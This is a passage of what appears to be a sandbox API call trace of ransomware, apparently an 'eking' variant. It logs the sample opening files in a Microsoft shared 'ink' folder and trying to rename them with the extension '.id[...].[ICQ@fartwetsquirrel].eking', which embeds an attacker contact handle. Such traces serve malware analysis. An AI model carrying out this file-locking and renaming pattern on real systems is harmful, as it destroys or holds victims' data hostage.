shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.730] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0286.730] CloseHandle (hObject=0x2fc) returned 1 [0286.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0286.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0286.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.731] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=46624) returned 1 [0286.731] CloseHandle (hObject=0x2fc) returned 1 [0286.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0286.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0286.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.732] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=498624) returned 1 [0286.732] CloseHandle (hObject=0x2fc) returned 1 [0286.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0286.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0286.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.733] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1100592) returned 1 [0286.733] CloseHandle (hObject=0x2fc) returned 1 [0286.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0286.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0286.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.735] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2515696) returned 1 [0286.735] CloseHandle (hObject=0x2fc) returned 1 [0286.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0286.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0286.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0286.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.736] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3380096) returned 1 [0286.736] CloseHandle (hObject=0x2fc) returned 1 [0286.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0286.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0286.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0286.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.737] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=361472) returned 1 [0286.737] CloseHandle (hObject=0x2fc) returned 1 [0286.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0286.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0286.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.738] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2018304) returned 1 [0286.738] CloseHandle (hObject=0x2fc) returned 1 [0286.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0286.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0286.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0286.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.740] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=367104) returned 1 [0286.740] CloseHandle (hObject=0x2fc) returned 1 [0286.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0286.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0286.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.742] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2418) returned 1 [0286.742] CloseHandle (hObject=0x2fc) returned 1 [0286.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0286.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0286.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.743] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2592) returned 1 [0286.743] CloseHandle (hObject=0x2fc) returned 1 [0286.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0286.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0286.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.744] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2462) returned 1 [0286.744] CloseHandle (hObject=0x2fc) returned 1 [0286.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0286.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0286.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.745] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2436) returned 1 [0286.745] CloseHandle (hObject=0x2fc) returned 1 [0286.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0286.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0286.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.869] SetEvent (hEvent=0x2a0) returned 1 [0286.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.871] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2556) returned 1 [0286.871] CloseHandle (hObject=0x2fc) returned 1 [0286.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0286.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0286.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.871] SetEvent (hEvent=0x2a0) returned 1 [0286.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.893] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2514) returned 1 [0286.893] CloseHandle (hObject=0x2e0) returned 1 [0286.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0286.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0286.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.895] SetEvent (hEvent=0x2a0) returned 1 [0286.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.897] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2616) returned 1 [0286.897] CloseHandle (hObject=0x2e0) returned 1 [0286.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0286.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0286.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.910] SetEvent (hEvent=0x2a0) returned 1 [0286.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.912] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2618) returned 